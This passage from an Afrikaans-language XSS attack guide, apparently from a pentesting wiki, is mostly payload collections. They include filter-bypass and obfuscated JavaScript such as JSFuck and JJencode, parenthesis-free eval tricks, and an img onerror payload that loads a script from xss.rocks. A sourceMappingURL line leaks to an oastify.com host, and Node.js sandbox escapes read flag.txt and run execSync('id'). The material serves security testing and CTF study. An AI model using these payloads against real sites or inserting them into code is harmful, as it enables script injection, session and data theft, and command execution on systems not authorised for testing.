"\u{74}\u{68}\u{69}\u{73}\u{69}\u{73}\u{61}\u{73}\u{74}\u{72}\u{69}\u{6e}\u{67}"
|
||
"\a\l\ert\(1\)"
|
||
atob("dGhpc2lzYXN0cmluZw==")
|
||
eval(8680439..toString(30))(983801..toString(36))
|
||
```
|
||
**Spesiale ontsnappings**
|
||
```javascript
|
||
'\b' //backspace
|
||
'\f' //form feed
|
||
'\n' //new line
|
||
'\r' //carriage return
|
||
'\t' //tab
|
||
'\b' //backspace
|
||
'\f' //form feed
|
||
'\n' //new line
|
||
'\r' //carriage return
|
||
'\t' //tab
|
||
// Any other char escaped is just itself
|
||
```
|
||
**Spasie-vervanging binne JS-kode**
|
||
```javascript
|
||
<TAB>
|
||
/**/
|
||
```
|
||
**JavaScript kommentaar (vanaf** [**JavaScript Kommentaar**](./#javascript-comments) **truc)**
|
||
```javascript
|
||
//This is a 1 line comment
|
||
/* This is a multiline comment*/
|
||
<!--This is a 1line comment
|
||
#!This is a 1 line comment, but "#!" must to be at the beggining of the first line
|
||
-->This is a 1 line comment, but "-->" must to be at the beggining of the first line
|
||
```
|
||
**JavaScript nuwe lyne (vanaf** [**JavaScript nuwe lyn**](./#javascript-new-lines) **truc)**
|
||
```javascript
|
||
//Javascript interpret as new line these chars:
|
||
String.fromCharCode(10); alert('//\nalert(1)') //0x0a
|
||
String.fromCharCode(13); alert('//\ralert(1)') //0x0d
|
||
String.fromCharCode(8232); alert('//\u2028alert(1)') //0xe2 0x80 0xa8
|
||
String.fromCharCode(8233); alert('//\u2029alert(1)') //0xe2 0x80 0xa9
|
||
```
|
||
**JavaScript spasies**
|
||
```javascript
|
||
log=[];
|
||
function funct(){}
|
||
for(let i=0;i<=0x10ffff;i++){
|
||
try{
|
||
eval(`funct${String.fromCodePoint(i)}()`);
|
||
log.push(i);
|
||
}
|
||
catch(e){}
|
||
}
|
||
console.log(log)
|
||
//9,10,11,12,13,32,160,5760,8192,8193,8194,8195,8196,8197,8198,8199,8200,8201,8202,8232,8233,8239,8287,12288,65279
|
||
|
||
//Either the raw characters can be used or you can HTML encode them if they appear in SVG or HTML attributes:
|
||
<img/src/onerror=alert(1)>
|
||
```
|
||
**Javascript binne 'n kommentaar**
|
||
```javascript
|
||
//If you can only inject inside a JS comment, you can still leak something
|
||
//If the user opens DevTools request to the indicated sourceMappingURL will be send
|
||
|
||
//# sourceMappingURL=https://evdr12qyinbtbd29yju31993gumlaby0.oastify.com
|
||
```
|
||
**JavaScript sonder hakies**
|
||
````javascript
|
||
// By setting location
|
||
window.location='javascript:alert\x281\x29'
|
||
x=new DOMMatrix;matrix=alert;x.a=1337;location='javascript'+':'+x
|
||
// or any DOMXSS sink such as location=name
|
||
|
||
// Backtips
|
||
// Backtips pass the string as an array of lenght 1
|
||
alert`1`
|
||
|
||
// Backtips + Tagged Templates + call/apply
|
||
eval`alert\x281\x29` // This won't work as it will just return the passed array
|
||
setTimeout`alert\x281\x29`
|
||
eval.call`${'alert\x281\x29'}`
|
||
eval.apply`${[`alert\x281\x29`]}`
|
||
[].sort.call`${alert}1337`
|
||
[].map.call`${eval}\\u{61}lert\x281337\x29`
|
||
|
||
// To pass several arguments you can use
|
||
function btt(){
|
||
console.log(arguments);
|
||
}
|
||
btt`${'arg1'}${'arg2'}${'arg3'}`
|
||
|
||
//It's possible to construct a function and call it
|
||
Function`x${'alert(1337)'}x```
|
||
|
||
// .replace can use regexes and call a function if something is found
|
||
"a,".replace`a${alert}` //Initial ["a"] is passed to str as "a," and thats why the initial string is "a,"
|
||
"a".replace.call`1${/./}${alert}`
|
||
// This happened in the previous example
|
||
// Change "this" value of call to "1,"
|
||
// match anything with regex /./
|
||
// call alert with "1"
|
||
"a".replace.call`1337${/..../}${alert}` //alert with 1337 instead
|
||
|
||
// Using Reflect.apply to call any function with any argumnets
|
||
Reflect.apply.call`${alert}${window}${[1337]}` //Pass the function to call (“alert”), then the “this” value to that function (“window”) which avoids the illegal invocation error and finally an array of arguments to pass to the function.
|
||
Reflect.apply.call`${navigation.navigate}${navigation}${[name]}`
|
||
// Using Reflect.set to call set any value to a variable
|
||
Reflect.set.call`${location}${'href'}${'javascript:alert\x281337\x29'}` // It requires a valid object in the first argument (“location”), a property in the second argument and a value to assign in the third.
|
||
|
||
|
||
|
||
// valueOf, toString
|
||
// These operations are called when the object is used as a primitive
|
||
// Because the objet is passed as "this" and alert() needs "window" to be the value of "this", "window" methods are used
|
||
valueOf=alert;window+''
|
||
toString=alert;window+''
|
||
|
||
|
||
// Error handler
|
||
window.onerror=eval;throw"=alert\x281\x29";
|
||
onerror=eval;throw"=alert\x281\x29";
|
||
<img src=x onerror="window.onerror=eval;throw'=alert\x281\x29'">
|
||
{onerror=eval}throw"=alert(1)" //No ";"
|
||
onerror=alert //No ";" using new line
|
||
throw 1337
|
||
// Error handler + Special unicode separators
|
||
eval("onerror=\u2028alert\u2029throw 1337");
|
||
// Error handler + Comma separator
|
||
// The comma separator goes through the list and returns only the last element
|
||
var a = (1,2,3,4,5,6) // a = 6
|
||
throw onerror=alert,1337 // this is throw 1337, after setting the onerror event to alert
|
||
throw onerror=alert,1,1,1,1,1,1337
|
||
// optional exception variables inside a catch clause.
|
||
try{throw onerror=alert}catch{throw 1}
|
||
|
||
|
||
// Has instance symbol
|
||
'alert\x281\x29'instanceof{[Symbol['hasInstance']]:eval}
|
||
'alert\x281\x29'instanceof{[Symbol.hasInstance]:eval}
|
||
// The “has instance” symbol allows you to customise the behaviour of the instanceof operator, if you set this symbol it will pass the left operand to the function defined by the symbol.
|
||
````
|
||
* [https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md](https://github.com/RenwaX23/XSS-Payloads/blob/master/Without-Parentheses.md)
|
||
* [https://portswigger.net/research/javascript-without-parentheses-using-dommatrix](https://portswigger.net/research/javascript-without-parentheses-using-dommatrix)
|
||
|
||
**Willekeurige funksie (alert) oproep**
|
||
````javascript
|
||
//Eval like functions
|
||
eval('ale'+'rt(1)')
|
||
setTimeout('ale'+'rt(2)');
|
||
setInterval('ale'+'rt(10)');
|
||
Function('ale'+'rt(10)')``;
|
||
[].constructor.constructor("alert(document.domain)")``
|
||
[]["constructor"]["constructor"]`$${alert()}```
|
||
import('data:text/javascript,alert(1)')
|
||
|
||
//General function executions
|
||
`` //Can be use as parenthesis
|
||
alert`document.cookie`
|
||
alert(document['cookie'])
|
||
with(document)alert(cookie)
|
||
(alert)(1)
|
||
(alert(1))in"."
|
||
a=alert,a(1)
|
||
[1].find(alert)
|
||
window['alert'](0)
|
||
parent['alert'](1)
|
||
self['alert'](2)
|
||
top['alert'](3)
|
||
this['alert'](4)
|
||
frames['alert'](5)
|
||
content['alert'](6)
|
||
[7].map(alert)
|
||
[8].find(alert)
|
||
[9].every(alert)
|
||
[10].filter(alert)
|
||
[11].findIndex(alert)
|
||
[12].forEach(alert);
|
||
top[/al/.source+/ert/.source](1)
|
||
top[8680439..toString(30)](1)
|
||
Function("ale"+"rt(1)")();
|
||
new Function`al\ert\`6\``;
|
||
Set.constructor('ale'+'rt(13)')();
|
||
Set.constructor`al\x65rt\x2814\x29```;
|
||
$='e'; x='ev'+'al'; x=this[x]; y='al'+$+'rt(1)'; y=x(y); x(y)
|
||
x='ev'+'al'; x=this[x]; y='ale'+'rt(1)'; x(x(y))
|
||
this[[]+('eva')+(/x/,new Array)+'l'](/xxx.xxx.xxx.xxx.xx/+alert(1),new Array)
|
||
globalThis[`al`+/ert/.source]`1`
|
||
this[`al`+/ert/.source]`1`
|
||
[alert][0].call(this,1)
|
||
window['a'+'l'+'e'+'r'+'t']()
|
||
window['a'+'l'+'e'+'r'+'t'].call(this,1)
|
||
top['a'+'l'+'e'+'r'+'t'].apply(this,[1])
|
||
(1,2,3,4,5,6,7,8,alert)(1)
|
||
x=alert,x(1)
|
||
[1].find(alert)
|
||
top["al"+"ert"](1)
|
||
top[/al/.source+/ert/.source](1)
|
||
al\u0065rt(1)
|
||
al\u0065rt`1`
|
||
top['al\145rt'](1)
|
||
top['al\x65rt'](1)
|
||
top[8680439..toString(30)](1)
|
||
<svg><animate onbegin=alert() attributeName=x></svg>
|
||
````
|
||
## **DOM kwesbaarhede**
|
||
|
||
Daar is **JS-kode** wat **onveilig deur 'n aanvaller beheerde data** gebruik soos `location.href`. 'n Aanvaller kan dit misbruik om willekeurige JS-kode uit te voer.\
|
||
**As gevolg van die uitbreiding van die verduideliking van** [**DOM kwesbaarhede is dit na hierdie bladsy verskuif**](dom-xss.md)**:**
|
||
|
||
{% content-ref url="dom-xss.md" %}
|
||
[dom-xss.md](dom-xss.md)
|
||
{% endcontent-ref %}
|
||
|
||
Daar sal jy 'n gedetailleerde **verduideliking van wat DOM kwesbaarhede is, hoe hulle uitgelok word, en hoe om hulle te benut** vind.\
|
||
Moenie ook vergeet dat **aan die einde van die genoemde pos** jy 'n verduideliking oor [**DOM Clobbering aanvalle**](dom-xss.md#dom-clobbering) kan vind.
|
||
|
||
## Ander Oorskrydings
|
||
|
||
### Gestandaardiseerde Unicode
|
||
|
||
Jy kan nagaan of die **weerspieëlde waardes** in die bediener (of aan die kant van die kliënt) **unicode genormaliseer** word en hierdie funksionaliteit misbruik om beskerming te omseil. [**Vind 'n voorbeeld hier**](../unicode-injection/#xss-cross-site-scripting).
|
||
|
||
### PHP FILTER\_VALIDATE\_EMAIL vlag Oorskryding
|
||
```javascript
|
||
"><svg/onload=confirm(1)>"@x.y
|
||
```
|
||
### Ruby-On-Rails omseil
|
||
|
||
As gevolg van **RoR mass assignment** word aanhalingstekens ingevoeg in die HTML en dan word die aanhalingstekenbeperking omseil en addisionele velde (onfocus) kan binne die tag bygevoeg word.\
|
||
Vormvoorbeeld ([van hierdie verslag](https://hackerone.com/reports/709336)), as jy die lading stuur:
|
||
```
|
||
contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
|
||
```
|
||
Die paar "Sleutel","Waarde" sal teruggevoer word soos hierdie:
|
||
```
|
||
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
|
||
```
|
||
### Spesiale kombinasies
|
||
```markup
|
||
<iframe/src="data:text/html,<svg onload=alert(1)>">
|
||
<input type=image src onerror="prompt(1)">
|
||
<svg onload=alert(1)//
|
||
<img src="/" =_=" title="onerror='prompt(1)'">
|
||
<img src='1' onerror='alert(0)' <
|
||
<script x> alert(1) </script 1=2
|
||
<script x>alert('XSS')<script y>
|
||
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
|
||
<svg////////onload=alert(1)>
|
||
<svg id=x;onload=alert(1)>
|
||
<svg id=`x`onload=alert(1)>
|
||
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
|
||
<script>$=1,alert($)</script>
|
||
<script ~~~>confirm(1)</script ~~~>
|
||
<script>$=1,\u0061lert($)</script>
|
||
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
|
||
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
|
||
</style></scRipt><scRipt>alert(1)</scRipt>
|
||
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
|
||
<svg><x><script>alert('1')</x>
|
||
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
|
||
<svg><animate onbegin=alert() attributeName=x></svg>
|
||
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
|
||
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
|
||
(function(x){this[x+`ert`](1)})`al`
|
||
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
|
||
document['default'+'View'][`\u0061lert`](3)
|
||
```
|
||
### XSS met koptekstinjeksie in 'n 302-antwoord
|
||
|
||
As jy vind dat jy **koptekste kan inspuit in 'n 302 Herlei-antwoord** kan jy probeer om die browser **willekeurige JavaScript te laat uitvoer**. Dit is **nie eenvoudig nie** aangesien moderne webblaaier nie die HTTP-antwoordliggaam interpreteer as die HTTP-antwoordstatuskode 'n 302 is nie, dus is net 'n kruissite-skripsinspuitingslading nutteloos.
|
||
|
||
In [**hierdie verslag**](https://www.gremwell.com/firefox-xss-302) en [**hierdie een**](https://www.hahwul.com/2020/10/03/forcing-http-redirect-xss/) kan jy lees hoe jy verskeie protokolle binne die Ligging-koptekstuk kan toets en sien of enige van hulle die browser toelaat om die XSS-lading binne die liggaam te ondersoek en uit te voer.\
|
||
Vorige bekende protokolle: `mailto://`, `//x:1/`, `ws://`, `wss://`, _leë Ligging-koptekstuk_, `resource://`.
|
||
|
||
### Slegs Letters, Syfers en Kolletjies
|
||
|
||
As jy die **terugroep** kan aandui wat javascript gaan **uitvoer** beperk tot daardie karakters. [**Lees hierdie afdeling van hierdie pos**](./#javascript-function) om uit te vind hoe om van hierdie gedrag misbruik te maak.
|
||
|
||
### Geldige `<script>` Inhoudstipes vir XSS
|
||
|
||
(Van [**hier**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) As jy probeer om 'n skrips te laai met 'n **inhoudstipe** soos `application/octet-stream`, sal Chrome die volgende fout gooi:
|
||
|
||
> Refused to execute script from ‘[https://uploader.c.hc.lc/uploads/xxx'](https://uploader.c.hc.lc/uploads/xxx') because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
|
||
|
||
Die enigste **Inhoudstipes** wat Chrome sal ondersteun om 'n **gelaai skrips** uit te voer is diegene binne die konstante **`kSupportedJavascriptTypes`** van [https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc](https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third\_party/blink/common/mime\_util/mime\_util.cc)
|
||
```c
|
||
const char* const kSupportedJavascriptTypes[] = {
|
||
"application/ecmascript",
|
||
"application/javascript",
|
||
"application/x-ecmascript",
|
||
"application/x-javascript",
|
||
"text/ecmascript",
|
||
"text/javascript",
|
||
"text/javascript1.0",
|
||
"text/javascript1.1",
|
||
"text/javascript1.2",
|
||
"text/javascript1.3",
|
||
"text/javascript1.4",
|
||
"text/javascript1.5",
|
||
"text/jscript",
|
||
"text/livescript",
|
||
"text/x-ecmascript",
|
||
"text/x-javascript",
|
||
};
|
||
|
||
```
|
||
### Skripsie Tipes vir XSS
|
||
|
||
(Van [**hier**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) So, watter tipes kan aangedui word om 'n skripsie te laai?
|
||
```html
|
||
<script type="???"></script>
|
||
```
|
||
Die antwoord is:
|
||
|
||
* **module** (standaard, niks om te verduidelik nie)
|
||
* [**webbundle**](https://web.dev/web-bundles/): Web Bundles is 'n kenmerk waar jy 'n klomp data (HTML, CSS, JS...) saam in 'n **`.wbn`** lêer kan pakketteer.
|
||
```html
|
||
<script type="webbundle">
|
||
{
|
||
"source": "https://example.com/dir/subresources.wbn",
|
||
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
|
||
}
|
||
</script>
|
||
The resources are loaded from the source .wbn, not accessed via HTTP
|
||
```
|
||
* [**importmap**](https://github.com/WICG/import-maps)**:** Laat toe om die invoer sintaks te verbeter
|
||
```html
|
||
<script type="importmap">
|
||
{
|
||
"imports": {
|
||
"moment": "/node_modules/moment/src/moment.js",
|
||
"lodash": "/node_modules/lodash-es/lodash.js"
|
||
}
|
||
}
|
||
</script>
|
||
|
||
<!-- With importmap you can do the following -->
|
||
<script>
|
||
import moment from "moment";
|
||
import { partition } from "lodash";
|
||
</script>
|
||
```
|
||
Hierdie gedrag is gebruik in [**hierdie skryfstuk**](https://github.com/zwade/yaca/tree/master/solution) om 'n biblioteek te herken aan eval om dit te misbruik en XSS te veroorsaak.
|
||
|
||
* [**speculationrules**](https://github.com/WICG/nav-speculation)**:** Hierdie kenmerk is hoofsaaklik om sekere probleme wat veroorsaak word deur vooraf-rendering op te los. Dit werk soos volg:
|
||
```html
|
||
<script type="speculationrules">
|
||
{
|
||
"prerender": [
|
||
{"source": "list",
|
||
"urls": ["/page/2"],
|
||
"score": 0.5},
|
||
{"source": "document",
|
||
"if_href_matches": ["https://*.wikipedia.org/**"],
|
||
"if_not_selector_matches": [".restricted-section *"],
|
||
"score": 0.1}
|
||
]
|
||
}
|
||
</script>
|
||
```
|
||
### Web Inhoudstipes vir XSS
|
||
|
||
(Van [**hier**](https://blog.huli.tw/2022/04/24/en/how-much-do-you-know-about-script-type/)) Die volgende inhoudstipes kan XSS uitvoer in alle webblaaier:
|
||
|
||
* text/html
|
||
* application/xhtml+xml
|
||
* application/xml
|
||
* text/xml
|
||
* image/svg+xml
|
||
* text/plain (?? nie op die lys nie, maar ek dink ek het dit gesien in 'n CTF)
|
||
* application/rss+xml (af)
|
||
* application/atom+xml (af)
|
||
|
||
In ander webblaaier kan ander **`Inhoudstipes`** gebruik word om willekeurige JS uit te voer, kyk: [https://github.com/BlackFan/content-type-research/blob/master/XSS.md](https://github.com/BlackFan/content-type-research/blob/master/XSS.md)
|
||
|
||
### xml Inhoudstipe
|
||
|
||
As die bladsy 'n text/xml inhoudstipe teruggee, is dit moontlik om 'n namespace aan te dui en willekeurige JS uit te voer:
|
||
```xml
|
||
<xml>
|
||
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
|
||
</xml>
|
||
|
||
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
|
||
```
|
||
### Spesiale Vervangingspatrone
|
||
|
||
Wanneer iets soos **`"some {{template}} data".replace("{{template}}", <user_input>)`** gebruik word. Die aanvaller kan [**spesiale stringvervanginge**](https://developer.mozilla.org/en-US/docs/Web/JavaScript/Reference/Global\_Objects/String/replace#specifying\_a\_string\_as\_the\_replacement) gebruik om te probeer om sekere beskermings te omseil: ``"123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))``
|
||
|
||
Byvoorbeeld in [**hierdie skryfstuk**](https://gitea.nitowa.xyz/nitowa/PlaidCTF-YACA), is dit gebruik om 'n JSON-string binne 'n skripsie te ontsnap en arbitrêre kode uit te voer.
|
||
|
||
### Chrome Cache na XSS
|
||
|
||
{% content-ref url="chrome-cache-to-xss.md" %}
|
||
[chrome-cache-to-xss.md](chrome-cache-to-xss.md)
|
||
{% endcontent-ref %}
|
||
|
||
### XS Jails Ontsnapping
|
||
|
||
As jy slegs 'n beperkte stel karakters het om te gebruik, kyk na hierdie ander geldige oplossings vir XSJail-probleme:
|
||
```javascript
|
||
// eval + unescape + regex
|
||
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
|
||
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
|
||
|
||
// use of with
|
||
with(console)log(123)
|
||
with(/console.log(1)/)with(this)with(constructor)constructor(source)()
|
||
// Just replace console.log(1) to the real code, the code we want to run is:
|
||
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
|
||
|
||
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
|
||
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
|
||
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
|
||
|
||
//Final solution
|
||
with(
|
||
/with(String)
|
||
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
|
||
with(mainModule)
|
||
with(require(k))
|
||
return(String(readFileSync(n)))
|
||
/)
|
||
with(this)
|
||
with(constructor)
|
||
constructor(source)()
|
||
|
||
// For more uses of with go to challenge misc/CaaSio PSE in
|
||
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
|
||
```
|
||
Indien **alles ongedefinieerd is** voor die uitvoering van onbetroubare kode (soos in [**hierdie uiteensetting**](https://blog.huli.tw/2022/02/08/en/what-i-learned-from-dicectf-2022/#miscx2fundefined55-solves)), is dit moontlik om nuttige voorwerpe "uit niks" te genereer om die uitvoering van willekeurige onbetroubare kode te misbruik:
|
||
|
||
* Deur import()
|
||
```javascript
|
||
// although import "fs" doesn’t work, import('fs') does.
|
||
import("fs").then(m=>console.log(m.readFileSync("/flag.txt", "utf8")))
|
||
```
|
||
* Toegang tot `require` op 'n indirekte manier
|
||
|
||
[Volgens hierdie](https://stackoverflow.com/questions/28955047/why-does-a-module-level-return-statement-work-in-node-js/28955050#28955050) word modules deur Node.js binne 'n funksie gewikkel, soos hierdie:
|
||
```javascript
|
||
(function (exports, require, module, __filename, __dirname) {
|
||
// our actual module code
|
||
});
|
||
```
|
||
Daarom, as ons van daardie module **'n ander funksie kan aanroep**, is dit moontlik om `arguments.callee.caller.arguments[1]` van daardie funksie te gebruik om toegang te verkry tot **`require`**:
|
||
|
||
{% code overflow="wrap" %}
|
||
```javascript
|
||
(function(){return arguments.callee.caller.arguments[1]("fs").readFileSync("/flag.txt", "utf8")})()
|
||
```
|
||
{% endcode %}
|
||
|
||
Op 'n soortgelyke manier as die vorige voorbeeld, is dit moontlik om **fouthanteraars te gebruik** om toegang te kry tot die **omhulsel** van die module en die **`require`** funksie te kry:
|
||
```javascript
|
||
try {
|
||
null.f()
|
||
} catch (e) {
|
||
TypeError = e.constructor
|
||
}
|
||
Object = {}.constructor
|
||
String = ''.constructor
|
||
Error = TypeError.prototype.__proto__.constructor
|
||
function CustomError() {
|
||
const oldStackTrace = Error.prepareStackTrace
|
||
try {
|
||
Error.prepareStackTrace = (err, structuredStackTrace) => structuredStackTrace
|
||
Error.captureStackTrace(this)
|
||
this.stack
|
||
} finally {
|
||
Error.prepareStackTrace = oldStackTrace
|
||
}
|
||
}
|
||
function trigger() {
|
||
const err = new CustomError()
|
||
console.log(err.stack[0])
|
||
for (const x of err.stack) {
|
||
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
|
||
const fn = x.getFunction()
|
||
console.log(String(fn).slice(0, 200))
|
||
console.log(fn?.arguments)
|
||
console.log('='.repeat(40))
|
||
if ((args = fn?.arguments)?.length > 0) {
|
||
req = args[1]
|
||
console.log(req('child_process').execSync('id').toString())
|
||
}
|
||
}
|
||
}
|
||
trigger()
|
||
```
|
||
### Verduistering & Gevorderde Oorspoel
|
||
|
||
* **Verskillende verduisterings op een bladsy:** [**https://aem1k.com/aurebesh.js/**](https://aem1k.com/aurebesh.js/)
|
||
* [https://github.com/aemkei/katakana.js](https://github.com/aemkei/katakana.js)
|
||
* [https://ooze.ninja/javascript/poisonjs](https://ooze.ninja/javascript/poisonjs)
|
||
* [https://javascriptobfuscator.herokuapp.com/](https://javascriptobfuscator.herokuapp.com)
|
||
* [https://skalman.github.io/UglifyJS-online/](https://skalman.github.io/UglifyJS-online/)
|
||
* [http://www.jsfuck.com/](http://www.jsfuck.com)
|
||
* Meer gesofistikeerde JSFuck: [https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce](https://medium.com/@Master\_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce)
|
||
* [http://utf-8.jp/public/jjencode.html](http://utf-8.jp/public/jjencode.html)
|
||
* [https://utf-8.jp/public/aaencode.html](https://utf-8.jp/public/aaencode.html)
|
||
* [https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses](https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses)
|
||
```javascript
|
||
//Katana
|
||
<script>([,ウ,,,,ア]=[]+{},[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()</script>
|
||
```
|
||
|
||
```javascript
|
||
//JJencode
|
||
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
|
||
```
|
||
|
||
```javascript
|
||
//JSFuck
|
||
<script>(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]